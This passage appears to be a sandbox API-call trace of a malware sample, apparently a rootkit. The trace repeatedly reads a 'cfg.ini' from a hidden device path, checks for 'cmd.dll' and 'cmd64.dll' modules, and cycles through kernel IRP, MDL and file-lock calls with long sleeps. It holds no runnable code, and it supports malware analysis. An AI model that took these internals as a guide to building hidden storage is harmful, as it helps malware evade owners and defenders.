IdePortDispatch () returned 0x103 [0118.995] KeWaitForMutexObject () returned 0x0 [0118.995] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.995] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.995] KeLeaveCriticalRegion () [0118.995] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.995] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.995] KeEnterCriticalRegion () [0118.995] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.995] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c51000 [0118.995] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.995] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.995] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.995] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.996] IdePortDispatch () returned 0x103 [0118.996] KeWaitForMutexObject () returned 0x0 [0118.996] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.996] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.996] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.996] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.996] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0118.996] IdePortDispatch () returned 0x103 [0118.996] KeWaitForMutexObject () returned 0x0 [0118.996] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.996] KeLeaveCriticalRegion () [0118.996] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.001] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.001] KeEnterCriticalRegion () [0119.001] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.001] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.001] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.001] KeLeaveCriticalRegion () [0119.001] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.001] KeEnterCriticalRegion () [0119.001] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.001] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.001] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa7370, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.001] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.001] KeLeaveCriticalRegion () [0119.001] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.001] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.001] KeEnterCriticalRegion () [0119.001] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.001] ExFreePoolWithTag (P=0xfffffa8003bbf010, Tag=0x0) [0119.001] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.001] KeLeaveCriticalRegion () [0119.001] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.001] ReleaseMutex (hMutex=0xf0) returned 1 [0119.001] Sleep (dwMilliseconds=0x124f80) [0119.019] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.019] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.019] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.019] KeEnterCriticalRegion () [0119.019] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.019] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.019] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.019] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.019] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.019] IdePortDispatch () returned 0x103 [0119.020] KeWaitForMutexObject () returned 0x0 [0119.020] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.020] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.020] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.020] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.020] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.020] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d3bb0 [0119.020] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.020] KeLeaveCriticalRegion () [0119.020] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.020] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.020] KeEnterCriticalRegion () [0119.020] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.020] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.020] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.020] KeLeaveCriticalRegion () [0119.020] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.020] KeEnterCriticalRegion () [0119.020] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.020] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.020] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.020] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.020] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.020] IdePortDispatch () returned 0x103 [0119.021] KeWaitForMutexObject () returned 0x0 [0119.021] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.021] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.021] KeLeaveCriticalRegion () [0119.021] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.021] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.021] KeEnterCriticalRegion () [0119.021] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.021] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c56000 [0119.021] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.021] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.021] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.021] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.021] IdePortDispatch () returned 0x103 [0119.022] KeWaitForMutexObject () returned 0x0 [0119.022] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.022] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.022] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.022] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.022] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.022] IdePortDispatch () returned 0x103 [0119.022] KeWaitForMutexObject () returned 0x0 [0119.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.022] KeLeaveCriticalRegion () [0119.022] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.023] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.023] KeEnterCriticalRegion () [0119.023] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.023] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.023] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.023] KeLeaveCriticalRegion () [0119.023] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.023] KeEnterCriticalRegion () [0119.023] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.023] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.023] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa7370, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.023] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.023] KeLeaveCriticalRegion () [0119.023] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.023] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.023] KeEnterCriticalRegion () [0119.023] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.023] ExFreePoolWithTag (P=0xfffffa80039d3bb0, Tag=0x0) [0119.023] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.023] KeLeaveCriticalRegion () [0119.023] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.024] ReleaseMutex (hMutex=0xf0) returned 1 [0119.024] Sleep (dwMilliseconds=0x124f80) [0119.043] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.043] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.043] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.043] KeEnterCriticalRegion () [0119.043] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.043] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.043] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.043] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.043] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.043] IdePortDispatch () returned 0x103 [0119.043] KeWaitForMutexObject () returned 0x0 [0119.043] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.043] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.043] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.043] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.043] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.043] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbf150 [0119.043] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.043] KeLeaveCriticalRegion () [0119.043] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.044] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.044] KeEnterCriticalRegion () [0119.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.044] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.044] KeLeaveCriticalRegion () [0119.044] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.044] KeEnterCriticalRegion () [0119.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.044] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.044] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.044] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.044] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.044] IdePortDispatch () returned 0x103 [0119.044] KeWaitForMutexObject () returned 0x0 [0119.044] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.044] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.044] KeLeaveCriticalRegion () [0119.044] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.044] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.044] KeEnterCriticalRegion () [0119.044] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.044] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c5b000 [0119.044] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.045] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.045] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.045] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.045] IdePortDispatch () returned 0x103 [0119.045] KeWaitForMutexObject () returned 0x0 [0119.045] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.045] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.045] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.045] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.045] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.045] IdePortDispatch () returned 0x103 [0119.045] KeWaitForMutexObject () returned 0x0 [0119.045] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.045] KeLeaveCriticalRegion () [0119.045] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.046] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.046] KeEnterCriticalRegion () [0119.046] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.046] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.046] KeLeaveCriticalRegion () [0119.046] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.046] KeEnterCriticalRegion () [0119.046] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.046] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.046] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa7370, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.046] KeLeaveCriticalRegion () [0119.046] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.046] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.046] KeEnterCriticalRegion () [0119.046] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.046] ExFreePoolWithTag (P=0xfffffa8003bbf150, Tag=0x0) [0119.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.046] KeLeaveCriticalRegion () [0119.046] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.047] ReleaseMutex (hMutex=0xf0) returned 1 [0119.047] Sleep (dwMilliseconds=0x124f80) [0119.066] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.066] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.066] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.066] KeEnterCriticalRegion () [0119.066] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.066] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.066] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.066] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.066] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0119.066] IdePortDispatch () returned 0x103 [0119.067] KeWaitForMutexObject () returned 0x0 [0119.067] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.067] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.067] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.067] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.067] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.067] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d3bb0 [0119.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.067] KeLeaveCriticalRegion () [0119.067] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.067] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.067] KeEnterCriticalRegion () [0119.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.067] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.067] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.067] KeLeaveCriticalRegion () [0119.067] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.067] KeEnterCriticalRegion () [0119.067] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.067] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.067] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.067] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.067] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0119.067] IdePortDispatch () returned 0x103 [0119.068] KeWaitForMutexObject () returned 0x0 [0119.068] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.068] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.068] KeLeaveCriticalRegion () [0119.068] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.068] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.068] KeEnterCriticalRegion () [0119.068] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.068] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c60000 [0119.068] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.068] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.068] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.068] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.068] IdePortDispatch () returned 0x103 [0119.068] KeWaitForMutexObject () returned 0x0 [0119.068] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.068] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.068] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.068] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.068] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0119.068] IdePortDispatch () returned 0x103 [0119.069] KeWaitForMutexObject () returned 0x0 [0119.069] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.069] KeLeaveCriticalRegion () [0119.069] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.069] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.069] KeEnterCriticalRegion () [0119.069] ExAcquireFastMutexUnsafe (in: 